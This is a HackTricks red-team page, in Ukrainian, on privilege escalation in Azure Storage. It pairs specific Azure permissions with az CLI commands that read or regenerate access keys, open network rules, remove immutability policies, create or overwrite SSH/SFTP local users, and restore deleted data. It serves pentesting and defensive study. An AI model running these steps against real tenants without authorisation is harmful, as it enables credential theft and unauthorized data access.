Az - Storage Privesc

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Storage Privesc

Для отримання додаткової інформації про зберігання дивіться:

Az - Storage Accounts & Blobs

Microsoft.Storage/storageAccounts/listkeys/action

Принципал з цим дозволом зможе переглядати (та секретні значення) ключів доступу до облікових записів зберігання. Це дозволяє принципалу підвищити свої привілеї над обліковими записами зберігання.

bash
az storage account keys list --account-name <acc-name>

Microsoft.Storage/storageAccounts/regenerateKey/action

Принципал з цим дозволом зможе оновити та отримати нове значення секрету access keys облікових записів зберігання. Це дозволяє принципалу підвищити свої привілеї над обліковими записами зберігання.

Більше того, у відповіді користувач отримає значення оновленого ключа, а також неоновленого:

bash
az storage account keys renew --account-name <acc-name> --key key2

Microsoft.Storage/storageAccounts/write

Принципал з цим дозволом зможе створювати або оновлювати існуючий обліковий запис зберігання, оновлюючи будь-які налаштування, такі як мережеві правила або політики.

bash
# e.g. set default action to allow so network restrictions are avoided
az storage account update --name <acc-name> --default-action Allow

# e.g. allow an IP address
az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<ip-address>

Blobs Specific privesc

Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete

Перше дозволяє змінювати політики незмінності в контейнерах, а друге - видаляти їх.

note

Зверніть увагу, що якщо політика незмінності знаходиться в заблокованому стані, ви не можете виконати жодну з цих дій.

bash
az storage container immutability-policy delete \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--resource-group <RESOURCE_GROUP>

az storage container immutability-policy update \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--resource-group <RESOURCE_GROUP> \
--period <NEW_RETENTION_PERIOD_IN_DAYS>

Специфічний привілейований доступ до файлових ресурсів

Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action

Це повинно дозволити користувачу, який має це дозволення, взяти на себе право власності на файли в спільній файловій системі.

Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action

Це повинно дозволити користувачу, який має це дозволення, змінювати дозволи файлів у спільній файловій системі.

Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action

Це повинно дозволити користувачу, який має це дозволення, виконувати дії в файловій системі як суперкористувач.

Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)

З цим дозволенням зловмисник може створювати та оновлювати (якщо має дозволення Microsoft.Storage/storageAccounts/localusers/read) нового локального користувача для облікового запису Azure Storage (налаштованого з ієрархічним простором імен), включаючи вказівку дозволів користувача та домашнього каталогу. Це дозволення є значним, оскільки дозволяє зловмиснику надавати собі доступ до облікового запису сховища з конкретними дозволами, такими як читання (r), запис (w), видалення (d) та список (l) та інше. Додатково, методи аутентифікації, які використовуються, можуть бути згенерованими Azure паролями та парами SSH-ключів. Немає перевірки, чи вже існує користувач, тому ви можете перезаписати інших користувачів, які вже там є. Зловмисник може підвищити свої привілеї та отримати доступ SSH до облікового запису сховища, потенційно відкриваючи або компрометуючи чутливі дані.

bash
az storage account local-user create \
--account-name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME> \
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
--home-directory <HOME_DIRECTORY> \
--has-ssh-key false/true # Depends on the auth method to use

Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action

З цією дозволом зловмисник може відновити пароль для локального користувача в обліковому записі Azure Storage. Це надає зловмиснику можливість отримати нові облікові дані для аутентифікації (такі як пароль SSH або SFTP) для користувача. Використовуючи ці облікові дані, зловмисник може отримати несанкціонований доступ до облікового запису зберігання, виконувати передачу файлів або маніпулювати даними в контейнерах зберігання. Це може призвести до витоку даних, пошкодження або зловмисного модифікування вмісту облікового запису зберігання.

bash
az storage account local-user regenerate-password \
--account-name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME>

Щоб отримати доступ до Azure Blob Storage через SFTP (is_hns_enabled має бути true), використовуючи локального користувача через SFTP, ви можете (також можна використовувати ssh ключ для підключення):

bash
sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
#regenerated-password

Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action

З цими дозволами зловмисник може відновити видалений контейнер, вказавши його ID видаленої версії, або відновити конкретні блоби в контейнері, якщо вони були раніше м'яко видалені. Це підвищення привілеїв може дозволити зловмиснику відновити чутливі дані, які мали бути назавжди видалені, що потенційно призведе до несанкціонованого доступу.

bash
#Restore the soft deleted container
az storage container restore \
--account-name <STORAGE_ACCOUNT_NAME> \
--name <CONTAINER_NAME> \
--deleted-version <VERSION>

#Restore the soft deleted blob
az storage blob undelete \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--name "fileName.txt"

Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read

З цими дозволами зловмисник може відновити виділений Azure файл-шар, вказавши його ID видаленої версії. Це підвищення привілеїв може дозволити зловмиснику відновити чутливі дані, які мали бути назавжди видалені, що потенційно призведе до несанкціонованого доступу.

bash
az storage share-rm restore \
--storage-account <STORAGE_ACCOUNT_NAME> \
--name <FILE_SHARE_NAME> \
--deleted-version <VERSION>

Інші цікаві дозволи (TODO)

  • Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Змінює власність блобу
  • Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Модифікує дозволи блобу
  • Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Повертає результат команди блобу
  • Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks